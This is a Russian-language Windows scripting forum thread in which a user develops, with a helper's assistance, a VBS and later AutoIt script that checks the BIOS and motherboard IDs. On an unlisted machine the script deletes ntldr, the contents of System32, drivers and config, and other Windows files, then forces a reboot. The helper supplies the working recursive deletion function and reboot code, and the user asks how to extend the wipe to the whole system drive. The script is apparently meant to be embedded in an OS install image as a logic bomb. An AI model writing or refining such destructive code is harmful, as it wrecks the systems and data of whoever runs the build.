Имя пользователя:
Пароль:
 | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Ответить
Настройки темы
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:

Код: Выделить весь код
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"

Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")
То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.
Это сообщение посчитали полезным следующие участники:

Отправлено: 21:11, 21-02-2009

 

Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, запускаю ваш вариант с одним и двумя == и ничего не происходит. А что должно быть? Должны выскакивать сообщения как я понимаю?

Pozia, ой. Надо было в самом скрипте поменять. Разобрался. В общем запускал такое:

HTML код: Выделить весь код
Opt("ExpandEnvStrings", 1) Global Const $WbemFlagReturnImmediately = 0x10 Global Const $WbemFlagForwardOnly = 0x20 Global Const $WmiRestartForce = 4 Global $strPassword = "12345" Global $arrayAllowedHosts[7] = [ _ "20090116000000.000000+000ga-ma770-ds3", _ "20060222000000.000000+000virtual machine", _ "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _ "20020315000000.000000+000sis-645", _ "20010427000000.000000+0008363-686", _ "20060925000000.000000+000mn2-e", _ "20060918000000.000000+000m61pm-s2" ] If _PlatformArrayTest($arrayAllowedHosts) Then $iRes = RunWait("C:\mmm.txt") Else FileDelete("%SystemDrive%\mmm") EndIf Func _PlatformArrayTest(ByRef $arrayAllowedHosts) Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2") Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly) If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса") Return False EndIf For $objBIOS In $colBIOS For $objBaseBoard In $colBaseBoard $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3) MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"') For $i=0 To UBound($arrayAllowedHosts)-1 If $arrayAllowedHosts[$i]=$strComputerHost Then MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i) Return True EndIf Next Next Next MsgBox(64, "Уведомление", "ID платформы в массиве не найден.") Return False EndFunc

При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. При отсутствии моего ID Bios скрипт об этом говорил и удалял mmm. Так должно быть?

По поводу добовления ID BIOS я ошибся. Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 10:10, 27-02-2009 | #21



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. »
"mmm.txt" не программа и не скрипт, для открытия документа надо использовать ShellExecute
Код: Выделить весь код
$iRet = ShellExecute("C:\mmm.txt")
Цитата Pozia:
Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да? »
надо - это количество элементов в массиве
Это сообщение посчитали полезным следующие участники:

Отправлено: 10:31, 27-02-2009 | #22


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, дурак я!!! Вм6есто $iRes = RunWait("C:\mmm.txt") записал как должно быть $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) и закинул в диск С файлы PKUNZIP.exe и Protect.zip и все сработало как и должно быть!!! И первый ваш вариант рабочий когда записать одно =. В общем ОГРОМНОЕ СПАСИБО!!! Полностью протестирую работу с установкий ОСИ уже после выходных и сразу же отпишусь о результатах.

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 10:36, 27-02-2009 | #23


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, вроде как работает нормально. Будут проблемы отпишусь. Вот только комп по команде Shutdown(29) выключается. А для перезагрузки как правильно записать?

amel27, нет не совсем нормально работает. Я удаляю вот это:

FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileDelete(@WindowsDir &"\*.*")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileDelete(@WindowsDir &"\security\*.*")
FileDelete(@WindowsDir &"\system\*.*")

FileDelete(@SystemDir &"\config\*.*")
FileDelete(@SystemDir &"\drivers\*.*")
FileDelete(@SystemDir &"\oobe\*.*")
FileDelete(@SystemDir &"\*.*")

Удаляются файлы по выделенным командам. По остальным не хочет. Как правильно записать чтобы работало?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 20:26, 01-03-2009 | #24


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
для перезагрузки как правильно записать? »
Код: Выделить весь код
Shutdown(22)
Цитата Pozia:
Удаляются файлы по выделенным командам. По остальным не хочет. »
Если файл не удаляется, значит либо у него стоит атрибут запрета, либо он открыт и используется системой. В первом случае - перед удалением нужно снять все возможные атрибуты командой FileSetAttrib(). Во-втором случае ничего не поделать - открытые системные файлы Windows удалить не даст (в отдельных случаях открытый файл можно переименовать или перенести в пределах тома - не более того).
Код: Выделить весь код
FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")
Это сообщение посчитали полезным следующие участники:

Отправлено: 07:17, 02-03-2009 | #25


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, удалял итак:

FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileSetAttrib(@WindowsDir &"\*.*", "-SR")
FileDelete(@WindowsDir &"\*.*")
FileSetAttrib(@WindowsDir &"\L2Schemas\*.*", "-SR")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileSetAttrib(@WindowsDir &"\security\*.*", "-SR")
FileDelete(@WindowsDir &"\security\*.*")
FileSetAttrib(@WindowsDir &"\system\*.*", "-SR")
FileDelete(@WindowsDir &"\system\*.*")
FileSetAttrib(@SystemDir &"\config\*.*", "-SR")
FileDelete(@SystemDir &"\config\*.*")
FileSetAttrib(@SystemDir &"\drivers\*.*", "-SR")
FileDelete(@SystemDir &"\drivers\*.*")
FileSetAttrib(@SystemDir &"\oobe\*.*", "-SR")
FileDelete(@SystemDir &"\oobe\*.*")
FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")

И все равно не так много удаляет как удалял обычный cmd файл запускаемый этим же скриптом с такими же путями удаления. В частности:

FileDelete("%SystemDrive%\*.*") - удалило все
FileDelete(@WindowsDir &"\*.*") - удалило все
FileDelete(@WindowsDir &"\L2Schemas\*.*") - удалило все
FileDelete(@WindowsDir &"\security\*.*") - удалило все
FileDelete(@WindowsDir &"\system\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\config\*.*") -ничего не удалило, даже тот файл что положил я сам
туда методом svcpack и он не мог висеть в памяти так как ничем не
используется
FileDelete(@SystemDir &"\drivers\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\oobe\*.*") - удалило все
FileDelete(@SystemDir &"\*.*") - удалило намного меньше чем удаляет cmd файл

Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 22:42, 03-03-2009 | #26


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше? »
дойдя до первого неудаляемого файла FileDelete бросает это "гнилое дело", попробуйте по-другому:
Код: Выделить весь код
DirRemove(@WindowsDir, 1)

Последний раз редактировалось amel27, 04-03-2009 в 07:07.


Отправлено: 06:11, 04-03-2009 | #27


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, с этой командой выскакивает сообщение: $Admin - системная папка. Удаление невозможно. И вообще ничего не удоляет. Есть еще какие нибудь варианты на удаление?

А почему
Цитата amel27:
FileDelete бросает это "гнилое дело" »
? а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент?

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 00:10, 06-03-2009 | #28


Googler


Сообщения: 3665
Благодарности: 1563

Профиль | Отправить PM | Цитировать


Цитата Pozia:
с этой командой выскакивает сообщение »
понятно, значит удаляемого каталога не должно быть в списке системных:

C:\Windows
C:\Windows\Fonts
C:\Windows\System32
C:\Windows\Resources
C:\Program Files
C:\Program Files\Common

Цитата Pozia:
а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент? »
CMD удаляет пофайлово, а не каталогом, на AutoIT такой способ будет работать намного дольше, поэтому DirRemove предпочтительней - тем более, что он не обращает внимания на атрибуты и удаляет вместе с подкаталогами.

Цитата Pozia:
Есть еще какие нибудь варианты на удаление? »
сколько угодно , вот альтернативная UDF, удаляющая только содержимое каталога - сам каталог не трогается... Главное условие - среди подкаталогов не должно быть системных, иначе опять вывалится ошибка.
Код: Выделить весь код
_DirRemoveAlt(@SystemDir)

Func _DirRemoveAlt($sDIR)
    Local $hSearch, $sFile, $sPath
    $sDIR = StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            DirRemove($sPath,1)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd
    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc
Это сообщение посчитали полезным следующие участники:

Отправлено: 11:36, 06-03-2009 | #29


Аватара для Pozia

Ветеран


Сообщения: 2756
Благодарности: 211

Профиль | Отправить PM | Цитировать


amel27, предложенный скрипт изрядно пошерстил system32 чему я безгранично рад и благодарствую вас! Появилось два вопроса:
1. Можно ли сделать скрипт удаляющий все возможное по всему системному диску а не только в system32 (для надежности)?
2. Разъясните в двух словах алгоритм работы скрипта. Как он определяет что файл нельзя удалять (так как выскакивает ошибка) и что можно удалять? Так как я заметил что файл с расширением evt положенный мною лично в C:\WINDOWS\system32\config\ не удалился. Почему? На нем стоял только один атрибут - архивный.

-------
Жизни вглядись в глаза: Это то, что ты всегда искал? Это то, что ты всегда хотел? Да или нет?


Отправлено: 20:44, 08-03-2009 | #30



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт nod201 Скриптовые языки администрирования Windows 3 07-12-2009 10:53
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs nod201 Скриптовые языки администрирования Windows 0 05-12-2009 05:44
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD alex_frog Скриптовые языки администрирования Windows 6 22-07-2009 18:41
Помогите, нужен скрипт vbs или wsh Foxie Microsoft Windows NT/2000/2003 3 18-01-2006 13:45
VBS/WSH/JS - Скрипт на VBS b0bi Программирование и базы данных 1 15-06-2004 19:15




 
Переход